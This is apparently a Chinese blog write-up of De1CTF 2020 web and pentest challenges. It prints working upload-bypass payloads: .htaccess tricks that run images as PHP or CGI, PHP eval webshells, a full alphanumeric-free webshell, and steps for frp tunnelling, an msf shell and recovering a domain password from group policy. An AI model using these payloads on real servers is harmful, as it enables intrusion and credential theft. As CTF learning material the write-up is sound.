题目太好了,。趁着题目环境还在,冲冲冲复现

check in

文件上传,在fuzz的时候,发现.htaccess可以上传,基本就确定是.htaccess解析图片为php的考点了

但是对文件内容进行了检查

>与ph,可以考虑短标签,当时也确实想到了这一点,但看到过滤>就放弃了
不知道短标签还可以这么用
<?=eval($_POST['cmd']);
.htaccess内容,用换行符可以绕过,看了wp发现是非预期
AddType application/x-httpd-p\
hp .jpg

官方预期解:考点是CGI

Options +ExecCGI
SetHandler cgi-script .xx

.xx

#! /bin/bash

echo Content-type: text/html

echo ""

cat /flag

学习链接:https://www.freebuf.com/vuls/218495.html

第二个非预期,学到了

SetHandler server-status

上传访问后,直接可以查看服务器的信息,直接可以上车

Hard_Pentest_1

一个上传的页面,同时给出了源码,check部分是关键

function Check(){
    $BlackExts = array("php");
    $ext = explode(".", $_FILES["file"]["name"]);
    $exts = trim(end($ext));
    $file_content = file_get_contents($_FILES["file"]["tmp_name"]);

    if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content)  && 
        !in_array($exts, $BlackExts) && 
        !preg_match('/\.\./',$_FILES["file"]["name"])) {
          return true;
    }
    return false;
}
?>

这里会检查文件名,后缀以及文件的内容

后缀这里用的in_array函数,不能为php,但是这个in_array可以用大小写绕过

文件名不能出现..

这里正则比较头疼,过滤了数字字符以及几个符号

用了is修饰符,大小写换行绕不了

这里需要用到p牛的无数字字符马,过滤;号,可以用标签闭合的形式代替或着用 , 号

学习链接:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

<?=$_=[]?><?=$_=@"$_"?><?=$_=$_['!'=='@']?><?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___ =$__?>
<?=$____=$___?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$___.=$__.$___?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$___.=$__?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$___.=$__?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$___.=$__?>
<?=$____='_'?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$____.=$__?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$____.=$__?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$____.=$__?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$____.=$__?>
<?=$_=$$____?>
<?=$___($_[_])?>

这样的马只能rce,然后再传个蚁剑可以连的一句话getshell

_=echo "<?php eval($_POST[cmd]); ?>" > 1.php

hint提示了flag不在服务器上,同时在蚁剑中也有收获
发现了一个压缩包:flag1_and_flag2hint.zip 但是需要密码

还有一个hint,net user /domain查看域用户时发现

因为看见那个用户名是个hint猜测就是域用户的密码与zip的相同,所以想到利用gpp

最后利用的方法是 利用frp弹了一个msf的shell,再用windows/gather/credencials/gpp拿到密码

官方wp好像更有理有据hhh—>https://blog.de1ta.club/2020/05/06/de1ctf2020%20Writeup/

漏洞学习链接:域渗透——利用SYSVOL还原组策略中保存的密码


0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注